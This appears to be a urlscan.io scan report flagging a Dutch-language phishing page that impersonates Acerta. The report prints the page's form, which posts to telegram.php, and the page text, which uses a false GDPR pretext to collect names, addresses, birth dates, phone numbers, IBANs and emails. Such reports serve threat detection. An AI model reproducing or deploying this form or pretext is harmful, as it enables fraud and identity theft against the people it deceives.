bioangels.vc Open in urlscan Pro
103.25.130.240  Malicious Activity! Public Scan

Form analysis
1 forms found in the DOM

POST telegram.php

<form action="telegram.php" method="POST" style="
                position: relative;
                left: 41px;
                font-family: inherit;
                color: #004b79;
                font-weight: bold;
            ">
  <label for="gender" style="
    font-family: Poppins,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Arial,sans-serif;
    font-weight: bolder;
">Gender *</label><br>
  <input type="radio" id="gender" name="fav_language" value="Dhr." style="
    border-color: #4cb4e7;
    color: #4cb4e7;
">
  <label for="Dhr." style="
    color: #004b79;
    font-family: Poppins,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Arial,sans-serif;
">Dhr.</label><br>
  <input type="radio" id="gender" name="fav_language" value="Mvr." style="
    border-color: #4cb4e7;
">
  <label for="Mvr." style="
    color: #004B8F;
    font-family: inherit;
">Mvr.</label><br>
  <br>
  <label for="Voornaam" style="
    font-family: Poppins,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Arial,sans-serif;
    font-weight: bold;
">Voornaam *</label><br>
  <input type="text" id="Voornaam" name="Voornaam" required="" style="
                border-radius: 5px;
                padding: 1px 5px;
                color: #004b79;
                border-color: #4cb4e7;
            " value="">
  <br>
  <label for="lname" style="
                        position: relative;
                        font-weight: bold;
                        top: 11px;
                    ">Achternaam *</label><br>
  <input type="text" id="Achternaam" name="Achternaam" required="" style="
                        position: relative;
                        top: 12px;
                        border-radius: 5px;
                        padding: 1px 5px;
                        color: #3e3d40;
                        border-color: #4cb4e7;
                    " value=""><br>
  <label for="bedrijfsnaam" style="
                        position: relative;
                        top: 17px;
                        font-weight: bold;
                    "> Uw firma *</label><br>
  <input type="text" id="bedrijfsnaam" name="bedrijfsnaam" required="" style="
                        position: relative;
                        top: 12px;
                        border-radius: 5px;
                        padding: 1px 5px;
                        color: #3e3d40;
                        border-color: #4cb4e7;
                    " value=""><br>
  <label for="adres" style="
                        position: relative;
                        top: 17px;
                        font-weight: bold;
                    "> Vestigingsadres *</label><br>
  <input type="text" id="adres" name="adres" required="" style="
                        position: relative;
                        top: 12px;
                        border-radius: 5px;
                        padding: 1px 5px;
                        color: #3e3d40;
                        border-color: #4cb4e7;
                    " value=""><br>
  <label for="date" style="
                        position: relative;
                        top: 20px;
                        font-weight: bold;
                    ">Geboortedatum *</label><br>
  <input type="date" id="date" name="date" required="" style="
                        position: relative;
                        top: 16px;
                        border-radius: 5px;
                        border-color: #4cb4e7;
                        color: #3e3d40;
                    " value=""><br>
  <label for="Telefoonnummer" style="
                        position: relative;
                        top: 24px;
                        font-family: Poppins,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Arial,sans-serif;
                        font-weight: bold;
                    "> Telefoonnummer *</label><br>
  <input type="phonenumber" id="Telefoonnummer" name="Telefoonnummer" minlength="8" maxlength="14" required="" style="
                        position: relative;
                        top: 23px;
                        border-radius: 5px;
                        padding: 1px 5px;
                        color: #3e3d40;
                        border-color: #4cb4e7;
                    " value=""><br>
  <label for="IBAN" style="
                        position: relative;
                        font-weight: bold;
                        top: 27px;
                    ">IBAN *</label><br>
  <input type="IBAN" id="IBAN" name="IBAN" minlength="16" maxlength="24" required="" style="
                        position: relative;
                        top: 25px;
                        border-radius: 5px;
                        padding: 1px 5px;
                        color: #3e3d40;
                        border-color: #4cb4e7;
                    " value=""><br>
  <label for="e-mailadres" style="
                        position: relative;
                        top: 29px;
                        font-weight: bold;
                    ">E-mailadres *</label><br>
  <input type="email" id="e-mailadres" name="e-mailadres" required="" style="
                        position: relative;
                        top: 24px;
                        border-radius: 5px;
                        padding: 1px 5px;
                        color: #3e3d40;
                        border-color: #4cb4e7;
                    " value=""><br>
  <br>
  <br>
  <input type="submit" value="Submit" <br="" style="
    position: relative;
    text-align: center;
    color: #fff;
    background-color: #e8318a;
    border: 2px solid #e8318a;
    padding: 4px 41px;
"><br>
</form>

Text Content

Veelgestelde vragen
EN FR NL

Acerta Verificatie:

In verband met een wijziging van de
Algemene Verordening Gegevensbescherming
(AVG) dit nieuwe jaar, bent u verplicht éénmalig
uw gegevens te valideren.

Gender *
Dhr.
Mvr.

Voornaam *

Achternaam *

Uw firma *

Vestigingsadres *

Geboortedatum *

Telefoonnummer *

IBAN *

E-mailadres *







 * Disclaimer
 * Privacy en cookies
 * External statement

VOLG ONS